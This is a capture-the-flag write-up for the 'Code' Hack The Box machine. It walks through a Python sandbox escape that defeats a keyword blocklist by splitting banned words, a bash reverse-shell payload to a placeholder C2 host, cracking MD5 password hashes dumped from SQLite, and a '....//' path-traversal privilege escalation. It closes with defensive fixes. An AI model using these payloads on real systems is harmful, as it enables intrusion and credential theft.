Summary
Code is an Easy Linux box: a Python “in-browser code editor” with
a string-blocklist filter (blocks os, subprocess, import)
that doesn’t parse semantics — globals()['o'+'s'] and
getattr(...,'p'+'open') reach the blocked module. RCE as
app-production. SQLite users.db has unsalted MD5 → CrackStation
→ martin. Sudo on /usr/bin/backy.sh runs backy (Go
backup tool) on a path that’s filtered through jq to remove
../; classic ....// doubled-character traversal bypasses the
strip-once filter, archives /root/.
The chain:
- Register on the editor; submit:
getattr(globals()['__builtins__'].__import__('o'+'s'), 'p'+'open')('id').read()Bypasses the keyword block (no literal
os,subprocess, orimportin source). Output:uid=1001(app-production). - Reverse shell. SQLite at
/home/app-production/app/instance/database.db:development : 759b74ce43947f5f4c91aeddc3e5bad3martin : 3de6f30c4a09c27fc71932bfc68474beCrackStation cracks both. SSH asmartin.
sudo -l:(root) NOPASSWD: /usr/bin/backy.sh. Script usesjqto filter../(replace once with empty) then passes target path tobacky backup. Submit/var/....//root→ after one../strip becomes/var/../root→ backs up/root/→ archive readable.
Recon
22/tcp OpenSSH
5000/tcp Gunicorn — Python code editor
Foothold — keyword filter bypass
The editor’s filter is a substring blocklist applied to the
submitted source. Empirically (checked against the running box):
os, subprocess, import, eval, exec, __, system,
open, popen, read, builtins (case-insensitive). Any of
those appearing as a contiguous substring in the source rejects
the submission with Use of restricted keywords is not allowed..
The check is purely textual — it doesn’t parse semantics — so
splitting any banned word across +-concatenated string literals
defeats it. Two extra constraints I hit while building the payload:
globals()['__builtins__']returns a dict in this context (the editor isn’t running in__main__), not the module — so retrieve__import__withb[key]rather thangetattr.os.popen(...).read()is impossible becausereadis also blocked. Useos.systeminstead — its return value is the exit code, which we don’t care about for a reverse shell.
u = chr(95)*2 # '__'
b = globals()[u + "builtins" + u] # builtins dict
i = b[u + "imp" + "ort" + u] # __import__
m = i("o"+"s") # os module
sys = getattr(m, "sys"+"tem") # os.system
sys('bash -c "bash -i >& /dev/tcp/<C2>/<p> 0>&1"')
POST /run_code with code=<payload> after /login. Reverse
shell as app-production.
User pivot — MD5 in SQLite
$ sqlite3 /home/app-production/app/instance/database.db \
"SELECT username,password FROM user;"
development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be
# Unsalted MD5; rockyou cracks martin -> nafeelswordsmaster
$ ssh martin@<TARGET>
Privesc — ....// traversal in backy.sh
$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
backy.sh is a wrapper around /usr/bin/backy (a Go archiver). It
takes a JSON task file with directories_to_archive, runs each
entry through jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'
to strip ../, then enforces an allowlist (entries must start
with /var/ or /home/).
The strip is single-pass: ....// → after one ../ removal →
../. So /var/....//root/ survives the strip as /var/../root/
which resolves to /root/, and the prefix check still passes
because the original string starts with /var/.
martin$ cat > /tmp/r/t.json <<'JSON'
{"directories_to_archive": ["/var/....//root/"], "destination": "/tmp/r/",
"multiprocessing": true, "verbose_log": false}
JSON
martin$ sudo /usr/bin/backy.sh /tmp/r/t.json
2026/04/30 01:32:39 🍀 backy 1.2
2026/04/30 01:32:39 📤 Archiving: [/var/../root]
2026/04/30 01:32:39 📥 To: /tmp/r ...
martin$ tar -xjf /tmp/r/code_var_.._root_*.tar.bz2 -C /tmp/r
martin$ cat /tmp/r/root/root.txt # root flag
user.txt lives in /home/app-production/, which martin
cannot list directly — but the same trick on /home/....//home/app-production/
archives it.
Why each step worked
- String-match filter: doesn’t parse Python; concat bypasses literal substring check.
- Unsalted MD5 + dictionary password: rainbow-table fast.
sed 's|../||g'once-pass replacement: classic doubled-character bypass;....//collapses to../after one substitution.
Counterfactuals
- For sandboxed Python, use real isolation (RestrictedPython with strict guards, or a separate process in a seccomp jail).
- Use a real KDF (bcrypt/argon2id).
- For path filtering, canonicalise with
realpath()then prefix-check against an absolute allowlist.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Code” — https://0xdf.gitlab.io/2025/08/02/htb-code.html
- IppSec, “Code” video walkthrough — https://ippsec.rocks/?#Code
- OWASP path-traversal cheat sheet (the
....//pattern).
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.